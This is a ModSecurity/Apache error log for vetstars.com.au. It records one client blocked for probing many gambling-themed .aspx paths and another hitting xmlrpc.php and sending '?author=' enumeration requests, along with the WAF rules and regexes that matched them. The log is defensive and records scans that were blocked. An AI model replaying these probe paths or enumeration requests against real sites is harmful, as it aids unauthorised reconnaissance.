[Sat Apr 18 21:19:26.083389 2026] [:error] [pid 32678:tid 32709] [client 51.75.116.205:50036] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeOE3hUlAXU_ZWUu5y_-NAAAAoI"]
[Sat Apr 18 21:19:30.393125 2026] [:error] [pid 32678:tid 32731] [client 51.75.116.205:57336] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeOE4hUlAXU_ZWUu5y_-PQAAApg"]
[Sat Apr 18 21:19:35.183448 2026] [:error] [pid 9864:tid 9916] [client 51.75.116.205:57352] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeOE54CFeowknfXHM7klZwAAAEo"]
[Sat Apr 18 21:19:41.690078 2026] [:error] [pid 32647:tid 32665] [client 51.75.116.205:45118] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aeOE7UkxooM0iRo6e54ndwAAAg8"]
[Sat Apr 18 21:19:49.523914 2026] [:error] [pid 13023:tid 13038] [client 51.75.116.205:58432] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aeOE9f1e7hG8DAeABB8ZMAAAAQ0"]
[Sat Apr 18 21:21:08.687974 2026] [:error] [pid 9864:tid 9918] [client 51.75.116.205:37792] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aeOFRICFeowknfXHM7kljQAAAEw"]
[Sat Apr 18 21:21:14.053980 2026] [:error] [pid 34290:tid 34341] [client 51.75.116.205:59950] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aeOFShqX6WpmmAXOBi8j9wAAAdY"]
[Sat Apr 18 21:21:19.141991 2026] [:error] [pid 32678:tid 32708] [client 51.75.116.205:59962] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aeOFTxUlAXU_ZWUu5y_-dAAAAoE"]
[Sat Apr 18 21:21:23.304009 2026] [:error] [pid 32647:tid 32661] [client 51.75.116.205:38088] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aeOFU0kxooM0iRo6e54nlQAAAgs"]
[Sat Apr 18 21:21:26.909115 2026] [:error] [pid 32678:tid 32712] [client 51.75.116.205:38090] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aeOFVhUlAXU_ZWUu5y_-dgAAAoU"]
[Sat Apr 18 21:21:31.819566 2026] [:error] [pid 32647:tid 32673] [client 51.75.116.205:33172] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aeOFW0kxooM0iRo6e54nlwAAAhc"]
[Sat Apr 18 21:21:35.842559 2026] [:error] [pid 32678:tid 32714] [client 51.75.116.205:33182] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aeOFXxUlAXU_ZWUu5y_-ewAAAoc"]
[Sat Apr 18 21:21:39.177326 2026] [:error] [pid 9865:tid 9960] [client 51.75.116.205:37398] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aeOFY6zb5knECIY-C-iNpgAAAJc"]
[Sat Apr 18 21:21:43.230692 2026] [:error] [pid 9970:tid 9997] [client 51.75.116.205:37412] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeOFZyYdRLRhVmaIMx3CggAAANc"]
[Sat Apr 18 21:21:46.412522 2026] [:error] [pid 9970:tid 9996] [client 51.75.116.205:37422] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeOFaiYdRLRhVmaIMx3ChgAAANY"]
[Sat Apr 18 21:21:49.314017 2026] [:error] [pid 32678:tid 32717] [client 51.75.116.205:43440] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeOFbRUlAXU_ZWUu5y_-jgAAAoo"]
[Sat Apr 18 21:21:52.760851 2026] [:error] [pid 13023:tid 13036] [client 51.75.116.205:43448] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeOFcP1e7hG8DAeABB8aCQAAAQs"]
[Sat Apr 18 21:21:55.908821 2026] [:error] [pid 34290:tid 34334] [client 51.75.116.205:43462] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeOFcxqX6WpmmAXOBi8kBAAAAc8"]
[Sat Apr 18 21:22:00.552078 2026] [:error] [pid 13023:tid 13049] [client 51.75.116.205:49036] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeOFeP1e7hG8DAeABB8aFAAAARg"]
[Sat Apr 18 21:22:52.199340 2026] [:error] [pid 9865:tid 9937] [client 51.75.116.205:49038] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeOFrKzb5knECIY-C-iN9AAAAIA"]
[Sat Apr 18 21:22:55.053362 2026] [:error] [pid 9865:tid 9957] [client 51.75.116.205:41376] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeOFr6zb5knECIY-C-iN9wAAAJQ"]
[Sat Apr 18 21:22:59.059631 2026] [:error] [pid 13023:tid 13029] [client 51.75.116.205:58380] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeOFs_1e7hG8DAeABB8aWwAAAQQ"]
[Sat Apr 18 21:23:02.108452 2026] [:error] [pid 13023:tid 13027] [client 51.75.116.205:58396] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeOFtv1e7hG8DAeABB8aYwAAAQI"]
[Sat Apr 18 21:23:05.168823 2026] [:error] [pid 9865:tid 9959] [client 51.75.116.205:58404] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeOFuazb5knECIY-C-iOEwAAAJY"]
[Sat Apr 18 21:23:07.913303 2026] [:error] [pid 32678:tid 32720] [client 51.75.116.205:58416] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeOFuxUlAXU_ZWUu5y_-rwAAAo0"]
[Sat Apr 18 21:23:11.351799 2026] [:error] [pid 32647:tid 32661] [client 51.75.116.205:51778] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aeOFv0kxooM0iRo6e54nuwAAAgs"]
[Sat Apr 18 21:23:14.271526 2026] [:error] [pid 32678:tid 32707] [client 51.75.116.205:51780] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aeOFwhUlAXU_ZWUu5y_-vwAAAoA"]
[Sat Apr 18 21:23:17.650671 2026] [:error] [pid 32677:tid 32688] [client 51.75.116.205:51794] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeOFxRngmUE3LdC-wP7iRwAAAkg"]
[Sat Apr 18 21:23:21.073897 2026] [:error] [pid 32678:tid 32711] [client 51.75.116.205:60310] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aeOFyRUlAXU_ZWUu5y_-zgAAAoQ"]
[Sat Apr 18 21:23:25.472225 2026] [:error] [pid 9863:tid 9878] [client 51.75.116.205:60314] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeOFzTjjiypiFrTucbLSrwAAAAU"]
[Sat Apr 18 21:23:28.830752 2026] [:error] [pid 32677:tid 32692] [client 51.75.116.205:38026] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aeOF0BngmUE3LdC-wP7iUwAAAkw"]
[Sat Apr 18 21:23:32.850003 2026] [:error] [pid 9865:tid 9941] [client 51.75.116.205:38034] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeOF1Kzb5knECIY-C-iOJAAAAIQ"]
[Sat Apr 18 21:23:36.263116 2026] [:error] [pid 34290:tid 34335] [client 51.75.116.205:38038] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aeOF2BqX6WpmmAXOBi8kMgAAAdA"]
[Sat Apr 18 21:23:40.619162 2026] [:error] [pid 32678:tid 32719] [client 51.75.116.205:48684] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aeOF3BUlAXU_ZWUu5y_-2wAAAow"]
[Sat Apr 18 21:23:44.823545 2026] [:error] [pid 9864:tid 9925] [client 51.75.116.205:48698] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aeOF4ICFeowknfXHM7kl0gAAAFM"]
[Sat Apr 18 21:24:41.958051 2026] [:error] [pid 34290:tid 34342] [client 51.75.116.205:48712] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeOGGRqX6WpmmAXOBi8kcAAAAdc"]
[Sat Apr 18 21:24:45.169873 2026] [:error] [pid 9865:tid 9937] [client 51.75.116.205:47866] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeOGHazb5knECIY-C-iORQAAAIA"]
[Sat Apr 18 21:24:49.401758 2026] [:error] [pid 9864:tid 9921] [client 51.75.116.205:44352] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeOGIYCFeowknfXHM7kl8wAAAE8"]
[Sat Apr 18 21:24:52.615317 2026] [:error] [pid 9865:tid 9940] [client 51.75.116.205:44358] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeOGJKzb5knECIY-C-iOUAAAAIM"]
[Sat Apr 18 21:24:56.240405 2026] [:error] [pid 13023:tid 13029] [client 51.75.116.205:44370] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeOGKP1e7hG8DAeABB8a3gAAAQQ"]
[Sat Apr 18 21:25:00.308766 2026] [:error] [pid 32678:tid 32719] [client 51.75.116.205:46298] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeOGLBUlAXU_ZWUu5y__AAAAAow"]
[Sat Apr 18 21:25:03.106334 2026] [:error] [pid 34288:tid 34298] [client 51.75.116.205:46306] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeOGL-TIiy__PtiLmpnYFQAAAYY"]
[Sat Apr 18 22:05:41.987037 2026] [:error] [pid 32677:tid 32691] [client 185.195.232.178:55180] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "aeOPtRngmUE3LdC-wP7pYQAAAks"]
[Sat Apr 18 22:05:41.998279 2026] [:error] [pid 32677:tid 32689] [client 185.195.232.178:55181] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/site/xmlrpc.php"] [unique_id "aeOPtRngmUE3LdC-wP7pYgAAAkk"]
[Sat Apr 18 22:05:41.998314 2026] [:error] [pid 32677:tid 32700] [client 185.195.232.178:55169] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeOPtRngmUE3LdC-wP7pYwAAAlQ"]
[Sat Apr 18 22:05:41.999089 2026] [:error] [pid 9864:tid 9930] [client 185.195.232.178:55179] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/blog/xmlrpc.php"] [unique_id "aeOPtYCFeowknfXHM7ksPAAAAFg"]
[Sat Apr 18 22:05:42.003023 2026] [:error] [pid 9970:tid 9974] [client 185.195.232.178:64101] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/wordpress/xmlrpc.php"] [unique_id "aeOPtSYdRLRhVmaIMx3RiQAAAMA"]
[Sat Apr 18 22:05:44.407756 2026] [:error] [pid 32677:tid 32681] [client 185.195.232.178:55180] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeOPuBngmUE3LdC-wP7pZwAAAkE"]
[Sat Apr 18 22:05:45.264077 2026] [:error] [pid 9970:tid 9994] [client 185.195.232.178:55783] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "aeOPuSYdRLRhVmaIMx3RkQAAANQ"]
[Sat Apr 18 22:05:45.301205 2026] [:error] [pid 9970:tid 9986] [client 185.195.232.178:54024] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/blog/xmlrpc.php"] [unique_id "aeOPuSYdRLRhVmaIMx3RkgAAAMw"]
[Sat Apr 18 22:05:46.083033 2026] [:error] [pid 9970:tid 9987] [client 185.195.232.178:54418] [client 185.195.232.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.195.232.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/site/xmlrpc.php"] [unique_id "aeOPuiYdRLRhVmaIMx3RmQAAAM0"]
[Sat Apr 18 22:05:46.481444 2026] [:error] [pid 32677:tid 32693] [client 185.195.232.178:55180] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=7 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuhngmUE3LdC-wP7paAAAAk0"]
[Sat Apr 18 22:05:46.484281 2026] [:error] [pid 9864:tid 9922] [client 185.195.232.178:55179] [client 185.195.232.178] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "114"] [id "217210"] [rev "1"] [msg "COMODO WAF: Invalid HTTP Request Line||vetstars.com.au|F|4"] [data "GET ?author=4 HTTP/1.1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeOPuoCFeowknfXHM7ksPQAAAFA"]
